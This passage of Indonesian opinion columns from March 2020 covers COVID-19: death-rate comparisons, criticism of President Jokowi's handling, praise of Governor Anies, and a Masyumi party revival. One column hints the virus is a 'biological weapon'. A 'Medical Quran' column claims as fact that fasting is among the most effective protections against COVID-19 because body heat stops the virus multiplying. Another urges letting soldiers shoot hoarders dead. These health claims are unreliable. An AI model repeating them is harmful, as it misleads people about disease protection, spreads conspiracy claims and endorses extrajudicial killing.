lebih banyak kasus dan kematian yang dilaporkan di seluruh dunia, selain dari China,” katanya, dilansir BBC.com. Dirjen WHO itu menambahkan, lebih banyak kasus yang dilaporkan setiap hari sekarang, dibandingkan di China. Oleh karena itu, Tedros mendesak negara-negara untuk melakukan langkah-langkah agresif, mobilisasi masyakarat, dan jarak sosial untuk menyelamatkan diri. Kontrol juga diberlakukan di lebih banyak perbatasan di Eropa. Hal itu dilakukan untuk mengantisipasi penyebaran virus yang cepat. “Jangan biarkan ini semakin menjadi-jadi,” kata Tedros. Data terbaru seperti dilansir CNN Indonesia, Italia merilis data terbaru korban tewas akibat virus corona, yakni 368 orang. Data ini merupakan rekor dalam satu hari kasus kematian dari infeksi Covid-19. Total virus Corona sudah menewaskan 1.809 orang di Italia sampai hari ini. Angka tersebut menjadikan Italia sebagai negara tertinggi kedua kasus kematian akibat virus Corona selain China, dilansir dari AFP, Senin (16/3/2020). Jumlah infeksi di Italia sendiri telah mencapai 24.747. Wilayah Lombardy utara di sekitar Milan tetap menjadi pusat pandemi Eropa, dan dilaporkan terdapat 1.218 kematian atau 67 persen dari total kasus di Italia. Bagaimana dengan Indonesia? Tertinggi Kedua Update terakhir, data rasio tingkat kematian di berbagai negara akibat virus Corona, menurut John Hopkins University and Medicine: 1. Italia = 1266 : 17660 = 7.169%; 2. Indonesia = 5 : 96 = 5.2%; 3. Iran = 514 : 11364 = 4.523%; 4. Cina = 3180 : 80945 = 3.929%; 5. Jepang = 21 : 725 = 2.990%; 6. Spanyol = 133 : 5232 = 2.542%; 7. Perancis = 79 : 3667 = 2.154%; 8. Amerika = 37 : 2034 = 1.819%; 9. Belanda = 10 : 804 = 1.244%; 10. Inggris = 8 : 801 = 0.999%; 11. Swiss = 11 : 1139 = 0.966%; 12. Korsel = 66 : 7169 = 0.921%; 13. Belgia = 3 : 559 = 0.537%; 14. Jerman = 8 : 3675 = 0.218%; 15. Austria = 1 : 504 = 0.198%; 16. Swedia = 1 : 814 = 0.123%; 17. Norwegia = 1 : 996 = 0.100%; 18. Denmark = 0 : 804 = 0.000%; Tingkat kematian corona dunia = 5409 : 145050= 3.730%. Jika menyimak data terakhir di atas, berarti Indonesia masuk sebagai negara dengan tingkat kematian tertinggi kedua setelah Italia. Indonesia = 5 : 96 = 5.2%, tingkat kematian 5.2% di atas Iran = 514 : 11364 = 4.523% dan Cina = 3180 : 80945 = 3.929%. Juga di atas tingkat kematian corona dunia = 5409 : 145050= 3.730%. Jelas, ini peringatan dari John Hopkins University and Medicine yang tidak main-main. Sehingga, diharapkan Pemerintah dan Presiden Joko Widodo harus mengambil langkah strategis. Serangan virus corona di Indonesia telah menelan 5 orang korban meninggal. Menteri Perhubungan Budi Karya Sumadi sendiri dinyatakan positif terjangkit virus Corona. Kini masih dalam perawatan medis. Para menteri dan presiden diperiksa. Langkah Gubernur DKI Jakarta Anies Bawesdan yang memaparkan sebaran virus Corona di 17 titik di wilayah Jakarta patut diapresiasi. Anies menunjukan peta sebaran kasus corona di di Jakarta. Keputusan menyebarkan informasi itu adalah untuk meningkatkan kehati-hatian terhadap risiko penularan virus Corona. “Ini kami sampaikan sebagai gambaran bahwa kalau kita tahu, maka kita berhati-hati. Saya menyampaikan ini jangan untuk panik. Bukan untuk panik. Tidak perlu panik," ujarnya Anies di Balai Kota Jakarta Pusat, Jumat 13 Maret 2020. Dalam konferensi pers, Anies memperlihatkan peta sebaran kasus Corona di Jakarta. Hingga 13 Maret tercatat ada 17 titik lokasi positif kasus Corona di Jakarta dan beberapa titik lainnya menunggu hasil pemeriksaan. Presiden Jokowi sendiri mengakui tak semua informasi yang dimiliki pemerintah mengenai penyebaran virus Corona bisa disampaikan ke masyarakat. Langkah ini dilakukan pemerintah mengantisipasi adanya kepanikan berlebihan di masyarakat. “Saya sekali lagi sampaikan penanganan pandemi Covid-19 terus menjadi perhatian kita. Memang ada yang kita sampaikan dan ada yang tidak kita sampaikan karena kita tidak ingin menimbulkan keresahan dan kepanikan di tengah masyarakat,” katanya, Jumat (13/3/2020). Jokowi menuturkan sebenarnya di awal pemerintah ingin menyampaikan seluruh informasi. Namun kemudian dari perhitungan pemerintah, keresahan di masyarakat bisa sangat besar. Selain itu efek terhadap pasien setelah sembuh juga menjadi pertimbangan. Melibatkan BIN dalam penanganan virus Corona di Indonesia, tentu saja karena ada alasan tertentu. Pasalnya, virus Corona ini diduga bentuk serangan “senjata biologi”, seperti halnya saat virus Flu Burung menyerang Indonesia. Untuk sementara, lupakan skandal Jiwasraya, Asabri, BPJS, dan beragam korupsi lainnya. Kini, utamakan keselamatan rakyat dari serangan virus Corona! Penulis adalah wartawan senior

RANGKAIAN IBADAH MENGHADAPI WABAH VIRUS CORONA III

Oleh Mochammad Sa'dun Masyhur Jakarta, FNN - Dua tulisan sebelumnya telah disampaikan perihal menjaga kebersihan diri dan lingkungan, serta upaya meningkatkan kebugaran dan kekuatan tubuh, dalam rangka mengadapi penyebaran wabah virus corona, dan menjaga kesehatan secara umum. Untuk maksud yang sama, bagian ini akan membahas rangkaian ibadah dalam rangka meningkatkan imunitas atau daya tahan tubuh. Sebelumnya perlu dketahui bahwa sesuai kaidah medical quran, kondisi sakit dan timbulnya kematian pada setiap mahluk hidup itu, bertumpu pada kondisi nafs (kullu nafsin dzaiqotulmaut). Dalam kitan itu pada QS. 9. Attaubah, ayat 36, yang selain menerangkan perhitungan 4 bulan haram, juga memuat larangan agar manusia tidak menthzolimi nafs (sebagai sel-sel genetik), dirimu sendiri, (falaa tathzlimuu fiihinna anfusakum). Kandungan ayat di atas relevan dinyatakan berhubungan dengan perihal menjaga kesehatan nafs. Dan dijamin dapat dibuktikan secara ilmiah, bahwa nafs yang dimaksud Alquran itu adalah sel genetik. Jadi upaya untuk meningkatkan imunitas dan daya tahan tubuh itu dalam kaidah medical quran berhubungan dan ditujukan agar kondisi nafs sebagai sel genetik, mampu berkembang, atau sekurang-kurangnya dapat mempertahankan diri. Oleh karena itu unsur-unsur pembentukan nafs sebagai sel genetik, sangat dibutuhkan. Ingat bahwa sel genetik itu berupa polimer berisi ratusan hingga ribuan nukleotida. Adapun tiap nukleotida itu mengandung gula pentosa deoksiribosa, gugus fosfat, dan basa nitrogen. Maka otomatis unsur-unsur lain yang bertentangan dan berlebihan, utamanya unsur gula apalagi sintetis, lemak jenuh, koleterol dan polutan atau radikal bebas termasuk jamur dan virus, semacam corona, akan merusak sel genetik. Selanjutnya unsur-unsur yang dapat mengganggu dan merusak nafs itu, mutlak harus dihindari dan dijauhi. Adapun unsur-unsur yang berhubungan dengan kondisi dan perkembangan nafs itu, dalam kaidah medical quran diatur melebihi aturan dalam dunia medis. Misalnya dalam hal makanan dan minuman, dunia medis hanya mengatur tentang kuantitas dan kualitas gizi. Sedang dalam syariah Islam berlaku kaidah kehalalan, kethoyiban dan tidak berlebih-lebihan. Tiga kaidah itu menurut syariah bersifat equal, artinya kaidah tidak thoyib itu sama dengan tidak halal, dan sama dengan berlebih-lebihan. Atau sebaliknya berlebih-lebihan itu sama dengan haram, sama dengan tidak thoyib, demikian seterusnya. Selanjutnya dalam 3 kaidah itu, melekat aspek sifat dan jenis makanan dan minuman, sifat dan jenis pekerjaan, serta sifat dan tabiat pasangan hidup. Dalam hal ini melanggar seluruh kaidah itu, otomatis akan merusak nafs, sebagai sel genetik. Artinya, melanggar kaidah itu, akan merusak sel genetik yang otomatis akan menimbulkan sakit, dan berujung kematian. Di luar itu, Sunah mengajarkan etika dan cara makan dan minum. Misalnya tidak mengendus-endus dan meniup makanan dan minuman, menetapkan waktu tidur lebih awal dan bangun sepertiga malam, karena jantung di bagian kiri, maka posisi tidur yang ideal miring ke kanan, dll, dll. Di dalam Alquran kesehatan nafs itu ditentukan oleh kondisi lambung (junuub), tulang belakang (thzuhur) dan dahi (jibah) sebagaimana disampaikan pada QS. 9 .Attaubah, ayat 36. Lambung adalah bagian utama perut yang memiliki peran penting dalam proses awal perkembangan nafs.. Maka terlepas dari perdebatan tentang Chadits puasa sunah di bulan Rajab, ibadah puasa adalah salah satu cara yang baik, bahkan paling efektif untuk menjaga kondisi pertumbuhan nafs, yang istilah dalam medis dapat dinyatakan sebagai bagian menjaga imunitas tubuh. Proses peningkatan kekebalan tubuh itu terjadi karena saat puasa akan berlangsung pengurangan atau paceklik gizi di dalam tubuh. Kondisi menipisnya gizi itu, secara alamiah akan mendorong seluruh bagian tubuh bereaksi, dengan mengaktifkan seluruh sistem pertahanan diri, semaksimal mungkin. Kemudian dari gizi saat sahur dan buka puasa (pilih yang terbaik), tubuh akan memproduksi sistem imun baru, sel-sel baru yang dibutuhkan tubuh. Bahkan menurut hasil studi terakhir, puasa 3 hari berturut-turut akan secara langsung dapat memperbarui sistem kekebalan tubuh. Karena itu, meskipun mengurangi makan, puasa dengan cara yang benar, akan membuat tubuh tidak mudah flu atau terkena wabah penyakit. Jadi salah satu cara yang paling efektif untuk terhindar wabah virus, termasuk COVID-19 adalah berpuasa. Alasan lainnya saat berpuasa suhu tubuh akan naik menjadi lebih panas, sehingga tidak disukai renik patogen yang belum adaptif di dalam tubuh seorang yabg sedang berpuasa Setidaknya kondisi itu menyebabkan virus tidak dapat berkembang biak. Selebihnya puasa akan memberikan manfaat kesehatan menurunkan gula darah dan meningkatkan produksi gula murni pentosa pada seluruh bagian tubuh. Dan secara keseluruhan puasa akan meningkatkan kesehatan perut (Arab: buthun, jamak dari batnun), yang secara fisik melekat kaidah perbaikan kesehatan tulang belakang bagian perut (pinggang). Adapun secara holistik dalam kaidah Quran, buthuun sebagai seluruh bagian perut, berakar kata ba-tho-nun, dikamuskan Alquran sama dengan kata bathin. Karena itu secara langsung puasa berhubungan dengan kesehatan bathin, yakni akan menimbulkan kesenangan, ketenangan dan kebahagiaan sehingga tubuh meningkat imunitasnya. Dengan alasan itu dalam menghadapi wabah COVID-19, maka disarankan kaum muslimin melakukan dan memperbanyak puasa. Setidaknya dapat mengikuti sunah puasa Senin-Kamis, dan ayyamul bidh, yaitu puasa tengah bulan hijriyah, jatuh tiap tanggal 13, 14 dan 15, dengan cara yang benar. Yakni, tetap makan sahur diakhir waktu dan mengawalkan berbuka, tidak minum es, menghindari makan mengandung pengawet, perasa dan pewarna buatan, mengurangi gula, menghindari gula sintetik, jika terpaksa ingin rasa manis gantilah dengan madu, serta perbanyak makan buah-buahan. Wajarlah makan dan minum, jangan sampai kekenyangan. Bagi yang mengalami ganguan lambung, awali dan akhiri makan dengan sejumput garam. Jangan minum langsung banyak. Cukup yang disarankan Nabi, 3 teguk dulu. Baru setelah setengah jam, minum dalam jumlah lebih banyak. Di atas segala ikhtiar itu, akhirnya kita berserah diri kepada Allah, karena sebaik-sebaiknya pertolongan adalah perlindungan Allah SWT. Marilah kita bertobat, memohon ampun dan terus-menerus berdoa bersama: Astaghfirullah al Adzim 3x Subhanallah al Adzim 3x Bismilahirohmaa nirohiim 3x Yaa Qowiyyu biquwwatika fanshurna x3 Artinya: Aku memohon ampunan kepada Allah Yang Adzim Maha Suci Allah Yang Adzim Ya Allah Yang Maha Kuat, dengan segala kekuatanMu, tolonglah kami. Semoga kita senantiasa diberikan kesehatan dan keberkahan. Aamiin ya Robbal alamin. (Selesai) Penulis adalah Holistic Healing Consulting, Expert and Inventor Medical Quran, tinggal di Bogor, Indonesia.

Coronavirus, Pertumbuhan Ekonomi vs Penyelamatan Nyawa Rakyat

By Dr. Syahganda Nainggolan Jakarta FNN - Menteri Infrastruktur Belanda, Cora Van Nieuwenhuizen, seperti diberitakan rtlnews.nl, langsung menyampaikan ke publik mengurung diri di rumah setelah mengetahui Menhub Budi Karya positif Coronavirus, kemarin, 14 Maret 2020. Rtlnews memberitakan antara lain. "Minister Cora van Nieuwenhuizen (Infrastructuur en Waterstaat) moet in ieder geval tot 24 maart thuis werken. Woensdag had ze een ontmoeting met een Indonesische collega die het virus blijkt te hebben. Eerder vandaag werd gezegd dat ze geen klachten heeft en zich goed voelt." Meski terlihat baik-baik saja. Namun dia akan di rumahnya mengurung diri sampai tanggal 24/3. Tanggal ini tepat dua minggu setelah dia ketemu Menhub Budi Karya di Jakarta, sebagai bagian kerjasama Kerajaan Belanda dengan Indonesia. Pilihan mengisolasi diri ini adalah untuk nenghindari kontak dengan semua manusia. Sebab, masa inkubasi dua minggu coronavirus tidak bisa disimpulkan dengan test secanggih apapun, seperti yang dipertontonkan presiden dan kabinet pemerintahan Jokowi merespon situasi yang sama. Di Indonesia, Menhub Budi Karya, yang dinyatakan positif terinfeksi kemarin. Seharusnya membuat semua Menteri, Dirjen, pejabat lainnya dan juga presiden kita mengambil tindakan yang menjadi standar internasional. Sebagaimana yang dilakukan oleh Menteri Infrastruktur Belanda tersebut. Jika siapa saja melakukan kontak dalam jarak di bawah dua meter, harus dianggap potensi tertular virus. Namun, kita melihat hal itu tidak terjadi di kita. Menteri-menteri dan Jokowi masih berinteraksi dengan berbagai manusia lain dalam aktifitasnya. Situasi penanganan pandemik covid-19 ini, terutama sejak WHO dan masyarakat dunia melakukan langkah-langkah ekstrim. Indonesia masih memperlihatkan ketidak jelasan kordinasi. Jakarta Post beberapa hari lalu sudah memvonis Jokowi amatiran. Sedangkan hari ini cnnindonesianews menuliskan berita bahwa Jokowi harus meminta maaf kepada bangsa ini. Faktanya, hari demi hari semua kepala daerah melakukan konprensi pers sendiri-sendiri. Kepala Daerah juga membuat gugus tugas sendiri-sendiri. Bergerak mengumpulkan stok masker sendiri-sendiri, dan sejenisnya. Semua dilakukan demi keselamatan masyarakat di daerahnya. Ketidakjelasan situasi sampai saat ini terlihat dengan keputusan terkahir Jokowi yang menyerahkan urusan "lack down" atau tidak, hanya melalui pertimbangan kepala daerah. Sedangkan, disisi lain, sebelumnya, kemarin Jokowi membentuk Gugus Tugas. Kerjanya memperkuat kordinasi dan sinergi nasional mengatasi penyebaran virus ini. Seharusnya kedua hal itu bernuansa kontradiktif. Dalam penjelasan di istana Bogor tadi (15/03), sebagaimana dikutip berbagai media, Jokowi meminta Pemda menjalin kerjasama intens dengan BNPB dan menggunakan anggaran yang efisien. Penjelasan ini tidak menunjukkan ketegasan apakah Doni Monardo, sebagai Kepala BNPB atau Kepala Gugus Tugas, dapat melakukan kordinasi lintas daerah atau hanya sinergi (kerjasama) saja. Sebab, jika misalnya satu daerah melakukan "lockdown", pertanyaan berikutnya adalah apakah BNPB dapat menutup Kota atau Daerah itu? Ataukah Gugus Tugas yang baru dibentuk itu yang melakukannya? Kondisi ini menunjukkan adanya kebingungan dari Jokowi dalam merespon situasi. Berbagai negara di dunia sudah melakukan lockdown, sebagian lockdown ataupun menyatakan darurat negara. Darurat negara adalah beda dengan darurat bencana. Darurat negara bersifat nasional. Sedang darurat bencana, bisa bersifat lokal. Nah, Jokowi lebih memilih urusan mengenai virus corona ini diselesiakan di tingkat lokal demi lokal saja. Dari penjelasan Jokowi tadi di Istana Bogor, dimana Jokowi menekankan tentang pentingnya menjaga pertumbuhan ekonomi. Ada kesan faktor perekonomian kita dipertaruhkan dengan nyawa manusia yang mulai ketakutan dengan coronavirus ini. Padahal, sesungguhnya, ketakutan rakyat kita atas coronavirus sudah dirilis oleh survei YouGov pertengahan Maret lalu, rakyat kita yang paling cemas dibanding negara-negara lain di asia. Kita dihadapkan pada pilihan sulit. Mau menyelamatkan ekonomi atau mau menyalamatkan manusia, terkait pandemik coronavirus ini. Memang kita tidak menafikkan pentingnya ekonomi terus tumbuh dan berkembang. Namun, manusia juga butuh keselamatan hidup. Fakta selama ini, kita bisa lihat pada kepala-kepala daerah yang panik sendiri-sendiri mengatasi situasi pandemik coronavirus. Rakyat juga ikut panik karena kepastian informasi sulit untuk dipercaya. Coba bayangkan dua hal ini. Pertama, mantan karyawan telkom yang wafat di Cianjur, 3/3/2020. Awalnya dinyatakan negatif covid-19. Hari ini, setelah 12 hari meninggal, dinyatakan positif coronavirus. Butuh waktu untuk menganulir hasil test awal. Artinya lama dan test tidak begitu canggih. Akibatnya, apa? Istri dan anak karyawan itu dinyatakan positif coronavirus. Lalu bagaimama dengan orang-orang yang berhubungan dengan almarhum? Padahal dia sudah berobat ke mana-mana sebelum ke Rumah Sakit yang di Cianjur. Kedua, bagaimana mungkin seorang menteri (Menhub) terkena infeksi coronavirus? Bukankah seharusnya elit-elit negara lebih siap menangkal dirinya terhindar dari virus itu? Tentu saja setinggi pangkat apapun bisa tertular virus corona ini. Bagaimana membayangkan seorang Menteri Perhubungan yang berkali-kali ke istana negara. Tentunya telah disensor thermal scanner. Ko bisa membawa virus itu ke istana? Bahkan, bagaimana dia membawa virus itu ke acara Indonesia dan Kerajaan Belanda. Melihat kasus Menhub Budi Karya dan kasus eks karyawan telkom di Cianjur itu, kita perlu refleksi bahwa fokus kita pada penanganan wabah coronavirus ini belum optimal. Jika pemaksimalan ikhtiar baru dilakukan dengan fokus, maka pilihan penyelamatan ekonomi vs. penyelamatan nyawa manusia harus dilihat bersifat "trade-off". Kita tidak bisa memilih keduanya. Mungkin ekonomi akan turun dua persen dari target pertumbuhan. Namun kita bisa optomalkan penyelamatan nyawa manusia sebagai kewajiban utama negara. Penutup Menyebarkan virus corona ke Kerajaan Belanda, bisa saja sebuah ketidaksengajaan. Namun, ikhtiar memperbaiki diri bisa menunjukkan rasa penyesalan kepada negara sahabat. Memperbaiki diri yang dibutuhkan adalah melakukan semua standar internasional pada batas maksimal. Bukan batas minimal. Misalnya, pemerintahan Jokowi harus menyatakan "Kabinet Lockdown", sebagaimana ditulis oleh RMOL.co kemarin (14/03). Artinya, selama dua minggu sejak Menhub Budi Karya dinyatakan positif coronavirus, semua menteri mengkarantina diri atau mengisolasi diri. Jika jumlah orang-orang yang berhubungan dengan Budi Karya pada hubungan langsung dan tidak langsung sangat banyak, maka mereka dapat diberikan pinjaman sebuah pulau di Kepulauan Seribu. Misalnya di Pulau Galang, Batam, sebagaimana sudah diputuskan Jokowi tempo hari. Tulisan cnnindonesianews tentang Jokowi perlu meminta maaf kepada Bangsa Indonesia harus di respon positif. Juga tulisan JakartaPost beberapa hari lalu agar Jokowi jangan amatiran harus direspon sebagi perubahan ke arah yang lebih professional. Semua ini perlu cepat. Pembentukan Gugus Tugas dan alokasi APBN 1 Triliun sudah sebuah kemajuan. Namun, mengingat ledakan eksponensial jumlah terjangkit virus akan segera datang, maka kita harus mengantisipasi pengendalian stok makanan dan minuman. Begitu juga dengan stock obat-obatan dan masker, agar tidak hilang di pasaran. Pemerintah juga harus memastikan anak-anak sekolah belajar di rumah. Memastikan jumlah pusat karantina cukup dan tersebar di seluruh Indonesia. Memastikan perawat dan dokter cukup. Tentara, misalnya, harus diberi wewenang menembak mati spekulan-spekulan barang, terutama mereka yang selalu mencari keuntungan dalam kesempitan. Gugus Tugas diberikan kewenangan pasti untuk melakukan kordinasi lintas sektoral dan daerah. Bukan seperti sekarang masing-masing kota melakukan gugus tugas sendirian. Untuk itu, Jokowi harus menunjukkan ketegasan maksimum dalam menangani pandemik ini. Tidak perlu ragu memilih, perekonomian lambat vs nyawa rakyat yang harus diselamatkan. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Anies dan Nyawa Warga DKI

Yang pasti, langkah Anies memancing sejumlah reaksi. Diantaranya dari Menkes. Langkah Anies dianggap kurang tepat. Sementara Mahfud MD mengimbau agar kepala daerah tidak menjadikan kasus Covid-19 sebagai panggung politik. Sejumlah orang yang teridentifikasi dalam kelompok yang "mendapat tugas khusus mencari kesalahan Anies", merasa mendapat kesempatan. Macam-macam tuduhan dan hujatan dilontarkan. By Tony Rosyid Jakarta FNN - Kata Anies, "Posisi DKI siap mem-back up pemerintah pusat dalam penanganan Corona. Kalau tidak ada langkah yang pasti, DKI akan ambil tanggung jawab". Dari narasi Anies ini dapat disimpulkan, tampak bahwa : Pertama, tetap loyal dan bersinergi dengan pemerintah pusat dalam mengatasi virus corona. Kedua, ambil tanggung jawab jika tidak ada pihak yang menghadapi penyebaran virus corona ini. Tentu saja ini bukan soal siapa jagoan dan siapa ingin menjadi pahlawan. Ini menyangkut nyawa manusia, terutama warga DKI, dimana Anies sebagai pemimpin disitu. Pemimpin harus tanggung jawab terhadap warganya, termasuk menyelamatkan nyawa warganya. Soal ada orang Bandung sibuk caci maki, itu lain soal. Anies ambil langkah cepat. 22 Januari Anies ijinkan Dinas Kesehatan DKI konferensi pers. Ingatkan warga akan perlunya kewaspadaan terhadap penyebaran Covid-19. Tanggal 29 Januari Anies pimpin langsung rapat Pemprov DKI untuk menyiapkan langkah-langkah menghadapi Covid-19. Hari itu juga Dinas Kesehatan mengeluarkan surat edaran perlunya kewaspadaan terhadap imported virus ini. Melihat dan memantau perkembangan, tanggal 25 Pebruari Anies mengeluarkan Instruksi Gubernur No 16 Tahun 2020. Isinya tentang langkah-langkah yang diperlukan oleh jajaran pemprov DKI untuk penanganan Covid-19 yang penyebarannya mulai mengganas. Tidak hanya surat edaran dan Ingub, Gubernur DKI ini juga membuat situs khusus mengenai segala hal yang terkait virus corona. Alamat situs itu di https//corona.jakarta.go.id. Di situs itu ada informasi, tanya jawab, aduan dan segala macam terkait virus corona. Masyarakat antusias mengunjungi situs itu. Tidak hanya warga DKI, tapi banyak juga dari warga non DKI. Sejumlah pihak meradang. Anies dianggap terlalu maju. Malah ada yang menuduh Anies itu monster. Menakut-nakuti dan bikin gaduh masyarakat. Gak ada Suspect. Indonesia zero Corona, kenapa Anies keluarkan Ingub? Anies pun dibully. Hujatan mulai muncul di berbagai media sosial. Para haters Anies bergeliat. Terbuka ruang bagi mereka untuk down grade Anies. Harusnya gubernur itu menenangkan, bukan bikin panik, kata mereka. Dasar "......" kalimat dititik-titik ini gak saya tulis. Karena tak pantas. Apapun alasannya, makian bukan bagian dari budaya kita. Apalagi jika keluar dari orang terpelajar, sangat memalukan. Maaf kawan, gak saya kutip. Sebab, masih banyak pilihan kata yang lebih bagus dan lebih sopan. Tapi, tak sedikit juga yang mendukung langkah Gubernur Anies. Sebagai langkah antisipasi, Ingub sangat diperlukan. Dan ini adalah bagian dari tugas dan tanggung jawab seorang pemimpin. Keselamatan warga adalah nomor satu. Ini sangat prioritas, dan di atas segala-galanya. Tak menutup kemungkinan, Anies sudah tahu ada pasien yang diduga suspect Corona. Enam rumah sakit Jakarta milik Pemprov DKI bisa jadi sumber informasi akurat terkait dengan kemungkinan adanya dugaan suspect. Anies tak mau mengumumkan informasi yang berbeda dengan pemerintah pusat. Ini soal etika. Anies lebih memilih untuk ambil langkah, meski harus dibully dan dicaci maki. Risiko pemimpin, harus siap dibully. Tak semua orang bisa memahami kebijakan dan langkahnya. Ada yang suka, ada pula yang tidak suka. Yang tak suka akan selalu tak setuju, apapun langkah dan kebijakan yang dibuat gubernur. Pasti saja ada salah, dan tidak ada benarnya. Yang pasti, langkah Anies memancing sejumlah reaksi. Diantaranya dari Menkes. Langkah Anies dianggap kurang tepat. Sementara Mahfud MD mengimbau agar kepala daerah tidak menjadikan kasus Covid-19 sebagai panggung politik. Sejumlah orang yang teridentifikasi dalam kelompok yang "mendapat tugas khusus mencari kesalahan Anies", merasa mendapat kesempatan. Macam-macam tuduhan dan hujatan dilontarkan. Dua hari pasca Ingub Anies keluar, dan setelah Anies babak belur dengan semua tuduhan dan caci maki, presiden secara resmi mengumumkan bahwa ada dua warga asal Depok positif terinveksi Corona. Sejak itu, bullyan terhadap Anies mulai agak reda. Kini, giliran situs DKI yang disoal oleh menkominfo. Katanya gak sinkron dengan situs punya kemenkes. Anies diminta menyesuaikan narasi. Tak lama kemudian, situs pemprov DKI dihajar hacker. Sempat, situs https/corona.jakarta.go.id tak bisa dibuka. Gak tahu, bagaimana kondisinya sekarang? Silahkan dicek. Dari sisi tampilan, situs DKI lebih simpel. Sub portalnya sederhana. Isinya lebih detail dan lengkap dibanding situsnya Kemenkes. Tapi, kenapa dihack? Siapa yang nge-hack? Padahal, ini soal nyawa manusia. Kalau ini menyangkut politik, mestinya nggak harus bermain di wilayah yang berbahaya buat keselamatan nyawa manusia. Langkah proaktif Anies mulai mendapat pembenaran setelah terbukti banyak orang di Indonesia yang terinveksi virus corona. Semula dua orang. Lalu 19 orang. Nambah delapan, jadi 27 orang, naik lagi menadi 34 dan 96. Sekarang sudah menjadi 117 orang (Liputan6.com 15/03/2020). Sudah ada empat orang yang meninggal. Nampaknya akan terus bertambah seiring dengan penyebaran yang tidak semuanya terdeteksi. Apakah Indonesia akan lock down seperti Itali, Denmark dan Manila? Apakah semua pabrik dan toko akan tutup? Apakah sekolah-sekolah akan diliburkan? Apakah alat transportasi akan dihentikan? Tak menutup kemungkinan. Apalagi, cara penanganan virus corona di Indonesia telah banyak mendapat kritik oleh sejumlah negara. Artinya, jika tak lebih serius dan ketat lagi dalam penanganan covid-19 ini, Indonesia terancam lock down. Sejumlah event baik nasional maupun internasional sudah diumumkan penundaannya. Formula E ditunda. Berbagai Munas ormas juga ditunda. Bahkan acara seminar, diskusi dan pengajian juga sudah banyak yang ditunda. Ada sebagian sekolah yang sudah meliburkan diri. Pelan tapi pasti, aktifitas sosial mulai berkurang. Mall-mall mulai agak sepi. Suatu saat nanti tak menutup kemungkinan akan ditutup. Soal Corona, Jakarta lebih serius dan lebih maju langkahnya dari daerah lain. Bahkan lebih maju dari pemerintah pusat. Wajar! Jakarta adalah ibu kota. Tempat interaksi sosial antar warga negara sangat masif. Perlu kewaspadaan tingkat dewa. "Semua dilakukan dengan tenang agar tak terjadi kegaduhan", kata Anies. Itulah barangkali karakter sosok yang besar di Jawa-Jogja ini. Cucu Abdurrahman Baswedan, tokoh BPUPKI ini paling risih dan sensi ketika melihat ada orang yang dipermalukan. Dan ini bisa dilihat reaksi Anies ketika ada anak buahnya dimarahi di depan umum saat terjadi banjir. Anies bilang "jangan marahi dia, marahi saya aja." Kasus Corona ini menyangkut nyawa warga. Anies memilih untuk melangkah, meski dengan segala risiko menghadapi banyak tuduhan dan bullyan. Bagi Anies, nyawa warga DKI lebih utama untuk diselamatkan dari pada sekedar menghadapi tuduhan dan bullyan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Mandat Kuat Masyumi Reborn

Kini terpulang kepada para ulama para tokoh, apakah tugas ini dilanjutkan untuk melahikan kembali Masyumi atau dihentikan. Kalau para ulama dan tokoh umat memerintahkan berhenti, kami siap berhenti. Tetapi bila para ulama dan tokoh umat memerintahkan lanjut, kami juga siap melanjutkan. By Dr. Masri Sitanggang Jakarta FNN - Kelahiran kembali Masyumi adalah kebutuhan kekinian. Kalau PKI sekarang sudah kembali unjuk gigi, mengapa tidak dengan Masyumi. Inilah mandat paling kuat dari umat. Sabtu, 7 Maret 2020, Aula Dewan Dakwah Islamiah Indonesia (DDII), di Jalan Kramat Raya No. 45 penuh sesak. Banyak yang berdiri karena tidak kebagian tempat duduk. Yang dating melimpah sampai pelataran gedung . Pada barisan dan kursi-kursi depan, tampak sejumlah tokoh nasional dan tokoh-tokoh sepuh. Di panggung depan, terpampang layar lebar yang menayangkan biorama perjuangan Partai Islam Masyumi, sejak lahir hingga bubarnya. Sementara di kiri-kanan layar itu, serta sebahagian besar dinding ruangan, menempel wall banner dari tokoh tokoh Masyumi seperti KH. Hasyim Ashari, Ki Bagus Hadikusumo, Mohammad Natsir, Wahid Hayim, H. Agus Salim, Buya Hamka, Syafruddin Prawira Negara, Mohammad Roem, Burhanuddin Harahap, KH. Isya Ansyori dan lain-lain. Menariknya lagi, setiap wall banner dari tokoh itu disertakan pula kutipan pesan perjuangannya. Suasana itu membawa setiap hadirin yang berusia sikitar 70 tahun pada kenangan masa kecil ketika Partai Islam Masyumi masih ada. Suasana ini juga menumbuhkan kerinduan akan hadirnya masa lalu itu. Bagi genarasi di bawahnya, atau malah genarasi melenial, suasana tersebut tentu saj membangkitkan rasa ingin tahu tentang apa itu Partai Masyumi dan sepak terjangnya dalam perpolitikan nasional. Juga sekaligus menumbuhkan semangat untuk mengikuti jejak perjuangan Masyumi. “Umur kami mungkin tidak lama lagi. Tetapi kami tidak rela dipanggil Allah SWT ketika kami dan teman teman seangkatan kami yang pernah dididik oleh para tokoh Masyumi belum mewariskan ruh perjuangan Masyumi melalui jalur Politik formal. Kami membayangkan andaikan dulu Partai Masyumi tidak membubarkan diri karena dipaksa bubar, mungkin NKRI sudah menjadi negeri Baldatun Thoyyibatun Warabbun Ghaffur. Semoga adik-adik yang menggagas Masyumi Reborn bisa meneruskan risalah ini dengan mengajak seluruh keluarga besar, anak cucu dan pecinta ideologi Masyumi secara ikhlas tanpa pamrih jabatan. Tidak terburu-buru, sistematis dan istiqomah. Semoga Allah SWT merestui ijtihad ini demi NKRI yang tercinta”. Itulah sebuah flyer berisi foto KH. A. Cholil Ridwan, KH. Abdul Rasyid Abdullah Syafi’I, Abdullah Hehamahua danTaufiq Ismail yang ditayangkan di layar lebar. Rangkaian kalimat yang menumpahkan kegelisahan hati para pejuang sepuh yang sadar tinggal menghitung hari untuk kembali menghadap Sang Khaliq. Hidmad dan sangat hidmat. Pandangan para hadirin tampak terpaku pada untaian kalimat di flyer tereebut. Tidak sedikit diantara mereka mengusap matanya karena haru berlinang air mata. Ini memang acara “Silaturrahmi Keluarga, Anak Cucu dan Pecinta Masyumi”. Themanya, “Masyumi Reborn, Masyumi lahir kembali”. Tidak hanya dari propinsi-propinsi yang ada di pulau Jawa yang hadir. Tetapi juga banyak dari luar Jawa. Tercatat misalnya, datang dari Sumatera Utara, Sumatera Barat, Nanggro Aceh Darusalam, Sumatera Selatan, Lampung, Jambi, Bangka Belitung, Riau, Kepulauan Riau, Kalimantan Timur, Kalimantan Barat,Kalimantan Selatan. Kalimantan Tengah, Banten, DKI Jakarta, Jawa Barat, Jawa Tengah, Jawa Timur, Jogyakarta, Bali, Sulawesi Selatan, Sulawesi Barat, 